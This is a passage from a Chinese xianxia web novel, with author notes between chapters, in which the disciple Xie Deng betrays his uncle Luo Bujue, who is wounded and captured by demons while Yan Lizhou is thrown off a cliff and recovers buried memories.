公羊胜刚想提醒,却见洛不觉在距离墙壁尚有数步之遥时,直接挥剑! 没有惊天动地的巨响,只是轻轻一下,墙壁就像是切豆腐般被洛不觉轻易划开。 “……我,靠?” 公羊胜没说出口的提醒在嘴里炒了一圈吐出来两个字。 墙壁后面是一条不知通向何方的狭窄通道! “走!” 洛不觉低喝一声,率先迈进裂口里。 他周身剑气自然形成护罩,一只手拉着燕黎舟。 燕黎舟毫不迟疑地紧随其后,无妄扇展开,绿色的妖气环绕在身边。 公羊胜看得眼珠子都快瞪出来了,下一秒就被薛三钱用力一拽,踉跄着跟了上去。 薛三钱脸色发白,但动作却不慢,几乎是拖着公羊胜冲进了裂口。 他能感觉到身后大殿中,那些石佛雕像散发出的怨念和恶意突然变得浓烈。 好像再晚上片刻,就要被彻底走不了了一样。 四人先后进入,外面极不安稳,先前的花朵再次出现,看得人头晕目眩,公羊胜几乎要吐出来。 洛不觉走在最前,剑势不停,不断挥剑斩开前面烦人的花朵。 燕黎舟跟在他身后,心中那股莫名的情绪再次涌动。 他不再只是被动跟随,无妄扇时而点出,精准地击散从侧面飘过来的花。 两人一前一后,一剑一扇。 不知在混乱中前行了多久,前方终于出现了一点稳定的白光! “出口!”燕黎舟喊道。 强烈的光线涌入,四人只觉得身体一轻,踉跄着冲出去。 几人重新来到他们一开始进去的地方。 公羊胜直接一屁股瘫坐在地上,大口喘着气,感觉自己像是捡回了一条命。 薛三钱也靠着一棵树,脸色苍白地调整着呼吸。 燕黎舟站稳身形,第一时间看向旁边的洛不觉。 洛不觉气息依旧平稳,只是持剑的手微微垂下,连续的高强度出手显然也消耗不小。 阳光透过树叶的缝隙洒下,落在洛不觉沾了些许尘土的白色衣袍上,也落在他依旧清冷平静的侧脸上,更衬得整个人仙气飘飘。 燕黎舟看着他,忽然低低地笑了起来,用扇子轻轻点了点洛不觉的手臂。 “洛仙长,下次能不能提前打声招呼。” 洛不觉转眸看他,阳光落在他身上好像驱散了秋水剑带来的寒冷。 他没有说话,只是垂眸盯着着同样被阳光眷顾的燕黎舟。 “总算……总算出来了……” 公羊胜瘫在地上,心有余悸地拍着胸口,随即又龇牙咧嘴地抱住自己的伤腿 “哎哟我的腿……薛三钱,快,再给看看!” 薛三钱没好气地白了他一眼,但还是蹲下身,仔细检查他的伤口,重新上药包扎,动作熟练利落。 嘴上却丝毫不饶人:“死不了,嚎什么嚎?再嚎就把你扔回那塔里。” 公羊胜立刻噤声,只敢用眼神表达委屈。 燕黎舟这时注意到洛不觉垂在身侧的手,指节修长,圈住秋水剑,看上去比秋水剑剑鞘还要白。 袖口有一处不是很明显的撕裂。 啧,还是受伤了。 燕黎舟心里嘀咕了一句,迈步走了过去。 “洛不觉。” 他用扇子提起洛不觉的袖口。 袖子下面的胳膊肌肉的线条清晰,皮肤很白,把上面的青紫淤血显得更加明显。 不仅如此,这人手腕握着秋水剑的手微微发抖,不仔细看根本注意不到。 “啧。” 洛不觉目光落在他脸上,又顺着他的视线看向自己的胳膊,抿了下唇,淡淡道:“无妨。” 燕黎舟撇撇嘴,从自己的储物袋里摸出一个小巧的白玉瓶,抛给洛不觉。 洛不觉伸手接住,看了一眼燕黎舟。 燕黎舟却已转过头,装作打量四周的风景,耳根处有些发热。 好朋友关心人一下,干嘛扭扭捏捏的! 他在心里骂了自己一句。 洛不觉平时对自己这么好,他关心一下是应该的。 薛三钱不也给公羊胜换药嘛! “薛三钱,你快来!”燕黎舟摇人。 薛三钱刚处理好公羊胜的伤,闻言走了过来。 看见洛不觉胳膊上的伤也是眉头一皱,伸手要碰却被洛不觉躲开。 燕黎舟伸手拍了洛不觉肩膀一下,后者这才老实。 “不要忌讳就医!” 洛不觉低眸看着自己被薛三钱摆弄的胳膊,不去看燕黎舟,抿着唇也不说话。 薛三钱看完洛不觉的状况后皱眉,想说什么却被洛不觉一个眼神看过来,嘴里的话又咽下去。 扎了几针后又给这人用绷带包扎好。 “接下来有何打算?” “这里没有看到魔族的痕迹。” 洛不觉收回来被包扎好的胳膊,袖子垂下看不出什么异常。 “事不宜迟,立刻前往下一个宗门。” 几人点头。 下一秒,洛不觉的目光突然转向一旁的树林。 “有人来了。” 他声音低沉,燕黎舟皱眉顺着他看的方向看过去。 几人也迅速隐匿身形。 只见一行七八个人进入山谷,个个衣衫褴褛,身上带伤,脸上充满了疲惫。 谢灯!? 燕黎舟皱眉。 男主怎么来了? 不只是谢灯,他身后跟着的几人无一例外穿着天上白云京的弟子服饰。 此时的谢灯脸色苍白,手里紧握着的长剑,眼神中充满了血丝,跟在他伸手的几名弟子情况更糟糕,互相搀扶着,几乎站立不住。 他们不是该被魔族困在云京,怎么会出现在这里? 旁边薛三钱也认出来这些人的服饰,转头看了眼洛不觉。 洛不觉没有立即现身,他看了一下周围,确认没有危险后才率先从藏身处走出来。 燕黎舟紧随其后。 背后响起的脚步声让谢灯一行人脚步一顿,纷纷握紧了手里的剑,转身。 待看清是洛不觉后,几人脸上才爆发出惊喜。 谢灯率先一步上前,表情严肃:“洛师叔。” 洛不觉点头,看向他身后几人。 “你们怎么在这?师兄呢,情况怎么样了?” 谢灯闻言,低下头,长长的睫毛投下阴影,遮住了他眼中的复杂情绪。 “云京……已经被魔族攻破了。” 谢灯沙哑着声音道。 燕黎舟握着扇子的手指收紧,他转头看向洛不觉。 他知道现在剧情已经崩坏地不成样子了,但怎么主角在脸总么都被攻下了? 天道不管他的亲儿子了! 另一边谢灯强忍着情绪,将情况快速说了一遍。 “就在你们离开不久后,护山大阵被染从内部破坏掉,魔族大举入侵。” “他们数量太多,我们,我们没抵挡住。” “沈齐掌门为了互送弟子撤退,和几位师叔断后,深受重伤,各峰长老也死伤惨重……” “我们想着您有可能回来倒影浮屠,我们就马不停蹄地赶过来了!” 天上白云京……被攻破了! 公羊胜张大嘴,一时忘了腿疼,旁边薛三钱也紧皱着眉。 “那,这怎么办。”他愣愣问出声。 天上白云京都被攻破了,那十二楼兰…… 想到这里,公羊胜脸色唰地一白。 “回云京!” 洛不觉哑着声音开口。 他转头看向谢灯:“你和他们一起,我回宗门。” 看向燕黎舟时,洛不觉顿了一下。 下一秒,燕黎舟就抓住他的袖子:“我跟你一起去。” 不等洛不觉开口他又道:“我可以保护好自己的,我可以御剑。” 旁边的谢灯也急忙开口:“师叔,我跟着你一起。” 既然如此,薛三钱在一旁提议:“那燕黎舟和这位道友同你一起去云京,我带着剩下的人先找一处地方疗伤。”—— 作者有话说:接下来的剧情大家可以攒个几章再看,一次性看过瘾! 下周没有榜单,依旧日更![奶茶](稳定喂饭 感谢一直看到这里的宝贝,么么么么么么! 第73章 薛三钱的提议是目前最稳妥的方案。 他医术精湛, 由他带着伤员寻找安全之地疗伤,是最佳选择。 谢灯身上伤轻,可以跟着洛不觉他们。 洛不觉目光扫过燕黎舟和谢灯, 最终颔首。 “事不宜迟。” 洛不觉深深看了薛三钱一眼, 将一枚传讯玉符交给他。 “保持联络, 万事小心。” 公羊胜虽也想跟着去拼命, 但看看自己的腿, 只能悻悻道。 “你们一定要小心!等老子腿好了,就去云京找你们汇合!” 几人兵分两路。 洛不觉表情严肃, 周身散发着生人勿近的寒气, 灵力催动到极致。 偶尔目光看向身后的燕黎舟,伸手握住对方的手腕。 燕黎舟紧紧抓着洛不觉的衣服,他嘴上说着不怕, 但每次低头看向下方缩小的景物,脸色有些发白,下意识地攥紧了袖口。 他强忍着御剑高飞带来的眩晕感,努力维持着平衡, 心中暗骂自己这该死的病, 尽在紧要关头拖后腿。 为了分散注意力, 他时不时会瞟一眼洛不觉衣服上的花纹。 他们刚从倒影浮屠出来,又紧接着赶路,即便是洛不觉也感到灵力消耗巨大。 他转头看了眼燕黎舟的情况,又看看谢灯。 暮色渐沉。 洛不觉稍稍放缓速度, 选择在一处荒芜的山脊上暂作停留。 “休息一炷香。” 洛不觉言简意赅,收起飞剑,背对着两人。 燕黎舟几乎是立刻从剑上跳下来,脚踩实地的瞬间, 他长长舒了口气,拍了拍胸口,试图驱散那股高空带来的心悸。 他看向洛不觉,想开口说点什么缓和下气氛,但看到对方紧抿着的唇,又默默把话咽了回去。 谢灯站在稍远一些的地方,低着头,看不清表情。 山风卷过,带着入夜前的凉意。 谢灯走到洛不觉身旁不远处,低声道:“师叔,关于宗门内阵法被破的细节,我……” 他话没说完,下一秒,手里的长剑就朝着洛不觉胸口刺了过去。 洛不觉!” 燕黎舟察觉不对,他惊呼出声,想也不想,整个人扑向洛不觉,想要将他推开! 在燕黎舟出声的同时,洛不觉已然察觉到。 常年战斗养成的本能让他身体猛地向侧方一拧,同时秋水剑瞬间出鞘半寸,凌厉的剑气自发护体! “砰!” 谢灯那一剑虽然没刺进洛不觉胸口,但是还是狠狠地划过洛不觉的左肩膀! 洛不觉闷哼一声。 谢灯一击得手,毫不恋战。 在燕黎舟过来的瞬间退后几步,手里的长剑挡在胸前,抵挡住燕黎舟的一击。 “你他妈找死!” 燕黎舟察看了洛不觉伤势后,看向谢灯。 谢灯脸上没有任何偷袭成功的得意,也没有被揭穿的慌乱,依旧是一张冰冷得近乎麻木的脸。 “护山大阵,是你打开的?” 洛不觉捂住自己受伤的肩膀,他没有问为什么,声音沙哑。 谢灯持剑而立,面对两人的怒火,他脸上依旧没有任何表情,只是一片死水般的安静。 他甚至没有看暴怒的燕黎舟,目光始终落在洛不觉身上。 他薄唇微启:“不是。” 谢灯顿了顿,在燕黎舟“你大爷的”的怒斥出口前,平静地补充道,语气淡漠的补充。 “是林肆纯打开的。” 他那张面无表情的脸上,明明白白写着“与我无关”,甚至带着一丝置身事外的冷漠。 这轻描淡写的甩锅,让燕黎舟一口气堵在胸口,气得差点笑出来。 “天上白云京怎么你了,你要和魔族合作?” 燕黎舟是真的不理解,一个男主,再怎么崩也该是正道吧,怎么…… 谢灯周身环绕着魔气,显然已经堕魔了。 谢灯轻哼一声,也不在意这人是不是在给洛不觉拖延时间。 “寿骆村,山神像。” “同灯一现满人宴。” 谢灯缓缓开口,目光扫过洛不觉:“还记得吗,洛仙尊?” “你……”燕黎舟一怔,和洛不觉对视一眼。 内心在拼命回忆。 寿骆村? 同灯? “要不是您,下一个该被吃掉的孩子就是我了。”谢灯盯着洛不觉,想到之前,厌恶地皱起眉。 “若不是洛大仙尊,我早就死了。” 燕黎舟人都麻了。 我靠,当时男主在!还是祭品? 寿骆村除妖,他和洛不觉刚认识的时候。 可这难道不是恩情吗?这人怎么还恩将仇报了呢? “所以你现在为什么加入魔族?” 燕黎舟压下内心的荒谬感,追问道。 “难不成是没早点去救你,你怨恨上了?” 这理由也太牵强了吧! 谢灯周身魔气翻涌,衬得他面容更加冰冷。 他听到燕黎舟的质问,嘴角极其细微地扯动了一下。 “我不是那么恩将仇报的人。” “……” 燕黎舟看向洛不觉的肩膀,又转头看看谢灯。 谢灯被两个人盯着也丝毫没有不好意思,他完全沉浸在自己的世界里。 自顾自道:“后来,你走了。” 谢灯的声音平淡地响起。 “村子里再也没有同灯的奇迹。” “而幸存的村民,那些人早已习惯了依靠邪异恩赐不劳而获,村子开始陷入了更大的恐慌。” “很快就又是一轮燥乱,村子里比之前还要严重,比之前……还令人作呕。” 谢灯说着,忽的话音一转。 “幸好。” 他轻轻吐出这两个字,带着一种复杂难辨的情绪。 “你们派了个人过来处理。” “师尊他真的很好。”谢灯的语调放缓了些许。 “他把所有人都安排得好好的,他说,让我别害怕。” “所以我来云京找他了。” “但你们看不见他的好,宗门里的闲言碎语,说他无所事事,虚度光阴颓废摆烂!” “我听到的时候十分气愤。” “他是那么好的人,不该被埋没。” 谢灯眼里的情绪扭曲:“你们看不见星星。” “没关系” 他缓缓说道,声音里带着一种令人可怖的平静。 “我会让他成为你们无法忽视的月亮。” 谢灯说完,重新看向洛不觉,伸手一挥,周围瞬间出现几个魔族。 谢灯站在他们前面,声音冷得没有一丝起伏。 “抓走,带回去给师尊。” 燕黎舟咬牙看了眼洛不觉。 原书中应该是这人处理的好好的,怎么换成汲子石了? 他就说怎么拜师换人了。 所以剧情是在那个时候崩的吗?! 脸上那点不正经瞬间收起,燕黎舟手腕一翻,无妄扇“唰”地展开。 他挥扇一拂,一道无形的屏障瞬间挡在两人身前,将最先冲到的两个魔族猛地弹开数步。 与此同时,手腕上的晋绳也朝着几个魔族冲过去,将他们捆得死死的。 魔族数量占优,且配合默契。 一名魔族硬扛着燕黎舟的气劲,后面猛的又蹿出来一个! 燕黎舟扇面回挡,只听“铛”的一声巨响。 燕黎舟被震的虎口发麻,连连后退几步。 与此同时一道冰冷的剑光亮起! 洛不觉肩膀上的伤口因强行运功渗出来鲜血,月牙白的衣服瞬间红了一片。 秋水剑出鞘,带着刺骨的剑意,后发先至,精准地隔开了攻向燕黎舟的利爪。 剑尖顺势一挑,在那魔族手臂上划开一道深可见骨的伤口。 “小心。” 洛不觉伸手将燕黎舟往身后一带,整个人护在燕黎舟面前。 燕黎舟注意到洛不觉颤抖的左手。 他想说什么,但眼下显然没有给他时间。 魔族攻势一波接着一波。 一名体型壮硕的魔族硬抗了洛不觉一道剑气,狞笑着挥舞巨斧,朝着洛不觉受伤的左肩猛劈而下! 角度刁钻,势大力沉。 洛不觉眼神一凝。 “低头!” 燕黎舟突然道。 洛不觉几乎是本能地身形一矮。 晋绳瞬间缠住那人拿着斧子的手腕,魔尊觉得手腕一紧,动作顿了一下。 洛不觉抓住机会,秋水剑顺势上挑,刺进那人的喉咙里。 “配合不错。” 洛不觉喘息微促,侧头对燕黎舟低语一句,语气依旧没什么起伏。 他没多说几句,燕黎舟抿唇,看见洛不觉脸色又白了几分,肩头的血迹再次晕开。 燕黎舟心中焦急,却不敢表露分毫。 谢灯冷眼旁观着这一切,见手下折损,他脸上依旧没什么表情,只是眼神更冷。 “困住他们。”谢灯冰冷下令,自己则缓缓抬起了剑,剑尖魔气凝聚,锁定洛不觉。 “洛师叔,束手就擒,可少受些苦楚。”谢灯道。 “做梦。” 洛不觉冷冷吐出两个字。 他再次将燕黎舟护在身后更稳妥的位置,秋水剑横于身前。 谢灯带来的魔族精锐在洛不觉与燕黎舟的配合下,竟一时无法拿下两人,反而又折损了两名。 洛不觉呼吸有些急促,操纵着手里那柄秋水剑实力强大,试图靠近的魔族全都被那极冰剑气逼退。 更是数次为燕黎舟挡下偷袭。 他始终将燕黎舟护在自己身后,自己则承受了大部分正面的压力。 “啧。” 谢灯见状,脸上露出一丝不耐,显然是没料到洛不觉在受伤灵力几乎耗尽的情况下居然还这么难搞。 这时。 一道寒光从谢灯身后冲出来朝着洛不觉持剑的手腕就砸过去。 毫不留情! 紫色身影瞬间闪到燕黎舟面前,抬手,没有任何花哨的招式,一拳轰向燕黎舟。 洛不觉反应迅速,手腕猛地一沉,剑身挡住锁链反弹回去,秋水剑瞬间换了个手,那只手和暴楚楚猛的对上。 暴楚楚不敌,退后几步来到谢灯身边,抬手抹去嘴角溢出来的鲜血。 沃若从谢灯背后钻出来,看着自己那条被秋水剑砍成两截的锁链,一脸可惜—— 作者有话说:最近码字疲惫期,明明已经到了一个小高潮了,怎么还感觉平平淡淡…… 存稿木有了,昨天欠的还差点…… [托腮]咋办…… ——凉拌,码不死给我使劲码!!! 还差……反正完结进度+1+1+1+1+1+1[摊手] 第74章 暴楚楚甩了甩手腕, 目光锁定洛不觉:“还挺经打。” 周围,又悄然出现四五道身影,个个身边环绕着的魔气精纯, 远非之前那些杂兵可比。 他们分散站立, 隐隐形成了一个包围圈, 将洛不觉和燕黎舟彻底困在中央。 “主人。” 他们称呼谢灯道。 洛不觉深吸一口气, 压下嘴里的血腥气, 握紧手里的秋水剑。 “拿下,要活的。” 沃若把玩着断裂的锁链, 轻笑着下令, 目光尤其在燕黎舟身上流转,带着志在必得。 “上!” 不知是哪个人低吼一声。 周围围绕着的几个魔族同时开始行动。 “保护好自己。” 洛不觉虽是这么说,却伸手将燕黎舟护在身后, 秋水剑在他手中不断挥舞着抵挡住魔族的攻击。 他以一己之力硬抗数名高阶魔族的围攻,洛不觉猛的咳嗽一声,咳出来一口血。 脸色愈发苍白。 “洛不觉!” 燕黎舟见状心中一慌,他被洛不觉牢牢护在身后, 只偶尔捡两个人头。 “洛不觉!别管我!你自己走!” 燕黎舟嘶声喊, 要不是他, 以洛不觉的实力肯定是能突围出去的。 他拼命挥动无妄扇,妖力毫无保留,击退试图从背后偷袭的魔族。 但更多的攻击都被洛不觉挡下了。 他几次想冲出洛不觉的保护圈,却被洛不觉挡回来。 洛不觉没有回答, 甚至没有回头,他的剑势越发凌厉,也越发不计后果 晋绳被一个魔族伸手抓住,直接扯成两截。 洛不觉动作一滞, 胸口猛的翻涌上来一口血。 暴楚楚轻哼一声,身上的铃铛随着她的动作叮铃作响。 她伸手夺过旁边一个人的斧头,轻笑着进入战场,斧头朝着洛不觉劈下去。 沃若的另一条还完好的锁链绕过秋水剑剑锋,以一个极其刁钻的角度缠向了燕黎舟的脚踝。 暴楚楚抓住洛不觉这一下的破绽,手里斧头一扔,她还是喜欢赤手空拳。 手紧紧握成拳头直轰洛不觉胸口! 侧面,两名魔族高手也瞅准时机,魔斧狠劈而下! 洛不觉不能躲,他身后就是燕黎舟。 三方夹击,不管怎么抵挡都会伤害到燕黎舟。 怎么办! 在千钧一发之际,洛不觉放弃反击,猛地将燕黎舟往自己怀里一带。 用自己的后背,硬生生挡住暴楚楚的拳头和那两柄斧子。 暴楚楚的拳头结结实实砸在他的背上,看着斧头劈进洛不觉身上,燕黎舟的心脏好似这一瞬间都停止了跳动。 面前洛不觉发出一声压抑的痛哼,身体剧烈地颤抖了一下,但他依旧紧紧搂着燕黎舟。 “洛不觉!!!” 燕黎舟咬着牙,看着深深没入洛不觉的后背的斧头,对方口中喷出的鲜血染红了自己的衣襟。 有个魔族似是觉得不过瘾,把斧头拔出来又要砍。 秋水剑自发护主,挡在洛不觉背后。 “咔嚓!” 一声清脆的断裂声响起! 燕黎舟眼睁睁地看着秋水剑在他面前断裂了几截。 剑断的瞬间,洛不觉周身磅礴的剑气如同潮水般溃散,他再也支撑不住,手臂松开燕黎舟,自己直直跪在地上。 单膝撑着自己的身体也不至于全倒下。 断掉的秋水剑掉落在尘土中,上面的光芒彻底黯淡。 “洛不觉!洛不觉!” 燕黎舟挣扎着扶起洛不觉,映入眼帘的是洛不觉惨白如纸的脸。 他颤抖着手想去捂住洛不觉不断涌出鲜血的伤口,却发现自己手上也沾满了洛不觉的血。 洛不觉单膝跪地,身体因剧痛和失血而剧烈颤抖,好像呼吸都很疼。 燕黎舟握着再次沾满了血的无妄扇,挡在洛不觉面前,冷眼看着谢灯。 洛不觉看着燕黎舟的背影,伸手想要燕黎舟的手腕,却也只是轻轻抓住了一片衣角。 “跑……” 他感受到自己的灵力在体内狂乱冲撞,难以凝聚在一起,又是猛的吐出一口血。 洛不觉猛的咬破自己舌尖,尖锐的痛楚让他清醒了一点。 他伸手,用尽全身力气,从背后将燕黎舟燕黎舟死死揽住。 “走!” 一声沙哑得几乎不成调的声音从喉间挤出来。 洛不觉身体内最后的灵力爆发出来,余波荡开一片,牢牢护在他和燕黎舟身边。 周围几个魔族猛的被余波甩开。 离得最近的暴楚楚惨叫一声,整条手臂以一种诡异的角度扭曲,口中喷出大量鲜血,重重砸在山壁上。 他带着人几个闪身离开魔族的包围。 “追!” 谢灯冰冷的声音不带丝毫感情,他看也没看那几个受伤的人。 燕黎舟此刻也顾不上恐高,他紧张的看着洛不觉的伤势。 很快,洛不觉就撑不住了,整个人摇摇欲坠。 燕黎舟心脏几乎骤停,死死揽住洛不觉,入手是骇人的温热的黏腻感。 他一把将洛不觉背起,咬紧牙关,几乎将唇瓣咬出血来。 燕黎舟咬牙看了眼伸手穷追不舍的几个人。 他本就消耗也很大,又背着一个人,速度很快就被拉近。 两人的速度越来越慢,最终还是被他们追上。 沃若笑着看向燕黎舟:“求求我,我好好对你,嗯?” “不过你得把他给我。” 沃若长长的手指指了指洛不觉。 燕黎舟将昏迷的洛不觉小心地靠在一块山石上,用自己的身体挡在他前面。 “滚!” 燕黎舟握紧了手里的无妄扇,毫不客气道。 “想动他,你他妈算什么东西!” “谢灯那个傻|逼就罢了,轮得到你在这给我耀武扬威?” 说完,在沃若阴沉的目光中,燕黎舟也不愿意多话,直接开始攻击。 燕黎舟不管是怎样,事到如今他们都没有了退路。 万一呢,万一自己赢了,可以给洛不觉争取哪怕多一线生机。 实力的差距终究难以弥补。 没有洛不觉,燕黎舟几乎撑不住几个回合。 沃若的锁链再次悄无声息地缠上了他的脚踝,猛地一扯! 燕黎舟重心不稳,向前扑倒。 就在他倒地的瞬间,他看到谢灯不知何时已出现在洛不觉所在的山石旁,正冷漠地俯视着那个昏迷的人。 “别碰他!” 燕黎舟挣扎着想爬起来。 然而,两名魔族已经笑着上前,一左一右抓住了他的手臂,将他死死按住。 “放开他!你们他妈放开他!” 燕黎舟疯狂挣扎,却被沃若的锁链和那两个魔族轻易压制住,眼睁睁看着洛不觉被谢灯带走。 “主人,这个怎么办。” 暴楚楚看向燕黎舟。 “听说你恐高,找个山头,丢下去!” “做干净点再丢。” 谢灯看着燕黎舟,冷声道,说完毫不留情转身离开。 沃若咬着牙,内心里将燕黎舟折磨的方法已经想了千百万种,可是谢灯发话,也只能这样。 “你去吧。”沃若轻哼一声,对旁边的一个魔将道。 “得令。” 他大步走向被锁链捆缚的燕黎舟,如同拎起一只小鸡仔一样,粗暴地将他从地上拽起。 “放开!你们要带他去哪儿?!” 燕黎舟挣扎着回头,视线死死追随着谢灯带着洛不觉消失的方向。 那魔族根本不理会他的嘶吼,与另一名同伴一起,架起燕黎舟,朝着附近一处深不见底的山崖走去。 山风在崖边呼啸,卷起碎石,发出呜咽般的难听声音。 浓重的云雾在崖下翻滚。 燕黎舟被强行拖到崖边,强劲的山风刮得他衣袂猎猎作响,他下意识地向下望了一眼。 脚下深不见底,燕黎舟的脸唰地一下变得惨白,强烈的眩晕感袭来,胃里顿时一阵翻江倒海。 “哈哈哈哈哈哈哈!” 提着燕黎舟的魔族见状放声大笑。 “人族真胆小!” 燕黎舟耳边嗡鸣,根本听不清他们说了什么,紧闭着眼。 想象他没有在这里,他在一片平地上,平地上…… 一个魔族甩了块石头下去,半天听不见声音。 抓着燕黎舟的那人嘲笑着,与同伴交换了一个眼神。 然后,燕黎舟被狠狠地丢下去! “啊啊啊啊!” 燕黎舟张大嘴,胸口心脏狂跳,急速下坠带来的失重感心悸几乎让他窒息。 救,,,,,,,,要死了,,,,,他要死了,,,,他要死了!!!!! 救他,,,,,谁能来救他!! 燕黎舟脑子一片空白,胸口心脏好像要跳出来,整个都空掉了,他伸手想要抓什么,却什么也抓不着。 崖边上,那名魔族拍了拍手。 “回去复命。” …… “砰!” 剧痛瞬间席卷了燕黎舟全身! 崖边有快突出来的石头,险之又险接住了燕黎舟,让他不至于继续坠落。 燕黎舟却也猛地喷出一口鲜血,感觉自己的五脏六腑都移了位,他眼前阵阵发黑,几乎要昏死过去。 他所在的这块石头也不是多大,上面布满了湿滑的青苔。 边缘不断有碎石被他砸落时震得滚落下去,许久都听不到回响。 燕黎舟躺在这块石头上面,浑身骨头像散了架一样,动弹不得。 有鲜血从燕黎舟身下流出来,不知道是哪里的伤口,浑身上下都疼。 “呃……咳咳……” 燕黎舟想撑起身体,却牵动了肋下的伤处,疼得他蜷缩起来,又是一阵撕心裂肺的咳嗽,鲜血不断从嘴角溢出。 他仰面躺着,望着头顶那一片灰蒙蒙的天空,四周是死一般的寂静,只有难听的风声不断灌进自己的耳朵。 冰冷的岩石隔着薄薄的衣料,贪婪地汲取着他本就不多的体温。 好疼…… 真的好痛…… 要死了,他要死了! 谁都救不了他! 燕黎舟艰难地喘息着,泪水混合着血水,无声地滑落鬓角。 “洛不觉。” 燕黎舟的声音很轻,周围除了风声再无其他的声音。 “你是不是也很痛啊……” 这句话问出口,积蓄的情绪仿佛找到了一个宣泄口。 更多的眼泪控制不住地留下来,眼前模糊一片。 “杀了他,魔头!” “都是他,要不是他,妖怪也不会找上我们!” “他是妖怪!快跑!” 忽然无数陌生的声音在燕黎舟的大脑中来回穿插。 谁? 什么? 妖怪? 说他的吗…… 应该是—— 作者有话说:码字小姑娘双手奉上更新![加油] 第75章 无数熟悉又模糊的身影在奔逃, 他们身上沾满了红色难闻的液体。 燕黎舟手上也是。 空气里的浓重血腥气,浓的几乎令人窒息。 “都是因为你……如果不是你引来了那些东西……” “为什么死的不是你?!” “祸害!你是灾星!” 燕黎舟脑海中不断重复着这几句。 周围尸横遍野,血流成河。 燕黎舟站在尸山血海之中, 那身向来被他打理得鲜艳干净的衣服, 此刻被浓稠的血浆浸透, 呈现出一种骇人的深黑色。 血液还在顺着他的衣角和指尖, 滴滴答答。 他迷惘地看着周围。 为什么他在这。 这是哪? “这是蛊娘子的寨子, 嘻嘻。” 不知何时苏醒过来的嘻嘻再次趴在他的肩膀上,轻声笑着, 他狠狠吸了一口燕黎舟身上的气息。 “昏迷时闻到好吃的, 原来还是你啊,草精。” 嘻嘻扫看了一圈周围,目光又定在燕黎舟身上, 笑意盈盈:“你想起来了吗?” “想起什么?”燕黎舟下意识道。 他侧头看向肩膀上的一团灰雾:“我有忘记什么吗?” 嘻嘻在燕黎舟肩膀上甩着灰雾的脚丫,伸出手来数。 “那可多了去了,在芦梦村的花儿,长着脑袋的树, 叫着让你还他们命的村民, 蛊娘子寨子里被你杀死的傀儡寨民……” “哎呀, 好多好多人呢。” “记不清了,嘻嘻。” 周围还有几个幸存的,或者说暂时未被波及的人。 他们蜷缩在角落,浑身颤抖, 用看怪物的眼神盯着燕黎舟,牙齿打着颤,话都说不利索,只能单调地重复一个词。 “魔鬼……魔鬼……” 燕黎舟看着周围的尸体:“这些, 都是我杀的吗?” 嘻嘻:“是的呀。” “当时我刚死掉,来到你身边的时候,你之前也被我影响到过,所以我很轻易就进入了你的神识里。” “然后你就做了不好的梦,然后你就疯了!神识里一直在崩塌。” “你疯了!杀了好多人……不过还好有洛剑尊。” 嘻嘻再次重复了一句“疯了”,他想不明白,只是做了个坏掉的梦,为什么这人就承受不住了。 很多人都会做坏梦啊。 “啊!是洛剑尊!” 嘻嘻忽然指着一个方向示意燕黎舟去看。 “我第一次影响到你的时候,洛剑尊立马找到嘻嘻让嘻嘻滚掉了,这可能就是缘分吧,我们又遇见啦!” 嘻嘻的声音充满了雀跃。 燕黎舟却看见。 洛不觉飞身而至,不顾一切地想要靠近他。 他嘴里喊着他的名字。 可回应他的,是燕黎舟全力的一掌! 他想要控制自己,却发现自己什么也做不了,只能喊着让洛不觉躲开。 洛不觉那么厉害,肯定可以躲过去的。 可洛不觉只是侧身勉强避开要害,硬生生用身体承受了这一击。 “噗!” 燕黎舟看着洛不觉手上,吐出一口血,但这也让洛不觉得以瞬间拉近了距离。 他不顾一切地伸出双臂,将那个燕黎舟死死扣进怀里。 “醒醒!是我!” “洛不觉……” 怀里的人像一头困兽,用尽所有力量挣扎,失控的妖力一次次攻击着洛不觉的身体。 鲜血从洛不觉的嘴角溢出,但他确实死死抱着燕黎舟,掌心不断涌出温和的灵力,被他渡进燕黎舟身体里。 “他为什么不放开我。” “他受伤了……” “为什么不放开。” 嘻嘻听到燕黎舟喃喃自语的问题,仰头思考了两秒。 “他想要你活过来吧。” “神识世界崩塌,哪怕后面人救过来了,也会变得痴傻。” “我想,洛剑尊应该是不看到你阿巴阿巴流口水的样子。” 说到这里,嘻嘻想象了一下,忍不住笑出来。 “嘻嘻。” 燕黎舟:“……” 他怔愣着将所有的一切都看完,看着自己是怎么伤害洛不觉,看着洛不觉顶着受伤的身体和蛊娘子打斗,看着他赢了蛊娘子。 然后为了救他,和蛊娘子达成协议……给他种下了蛊。 燕黎舟就像是一个外人,看着洛不觉对他做过的一切他不知道的事情。 “骗子……” “什么都不说。” 燕黎舟再次睁开眼睛时,他还处在那一处岩石上,身下就是万丈深渊,头顶的天空也阴沉沉的没有光亮。 身体痛得麻木,整个身体像是被碾碎后勉强拼凑起来的。 他艰难地动了动手指,确认自己还活着。 必须离开这里。 燕黎舟脑子里只有这句话。 他尝试挪动身体,不知道用了多久,才终于勉强改为趴伏的姿势,能够更清楚地观察周围的环境。 这处凸出的岩石平台比他想象的还要险峻,边缘不断有松动的碎石在他动作间滚落,坠入下方深不见底的云雾中。 崖壁陡峭如刀削般,上面布满了湿滑的青苔和少数几株从石缝中顽强探出的枯瘦藤蔓。 向上,是看不到顶的崖壁。 向下,是深不见底的深渊。 燕黎舟红着眼睛,目光死死扫视着周围的崖壁,不放过任何一丝可能的生机。 忽然,他的视线定格在某一处 他所在的岩石右下方,在阴影和藤蔓的遮掩下,那里,有一个很小很小的洞口。 因为角度的关系,要不是他观察得仔细,很难发现! 燕黎舟心脏猛地一跳! 是野兽的巢穴?还是…… 求生的本能让他顾不了那么多。 燕黎舟深吸一口气,压下喉咙口的腥甜,开始朝着那个方向艰难地挪动。 身体每移动一寸,都疼得他眼前阵阵发黑。 来到岩石边缘,看到下方的深渊燕黎舟还是忍不住腿软。 他重新变回了草形态,细软的叶子蔫蔫的,此时上面多了不少划痕和破口。 燕黎舟深吸一口气, 叶子抓住那些看起来相对结实的藤蔓,试探着向下滑落。 枯藤粗糙,叶子不一会儿又被摩擦出不少伤口。 燕黎舟死死咬着牙,短短的距离却难如登天。 当他终于脚下一实,踉跄着跌进那个洞口里时,几乎已经脱力。 他靠在冰冷的石壁上,大口大口地喘息着。 洞口确实很小,一个成年人脑袋一样大,里面黑漆漆的,散发着一股陈腐潮湿的气息,但并不像有活物居住。 燕黎舟犹豫了一下,最终还是咬着牙,一点点爬了进去。 这是一个不大的天然石室,顶部有缝隙透下微弱的天光,勉强能视物。 石室中央,盘坐着一具早已化作白骨的尸骸! 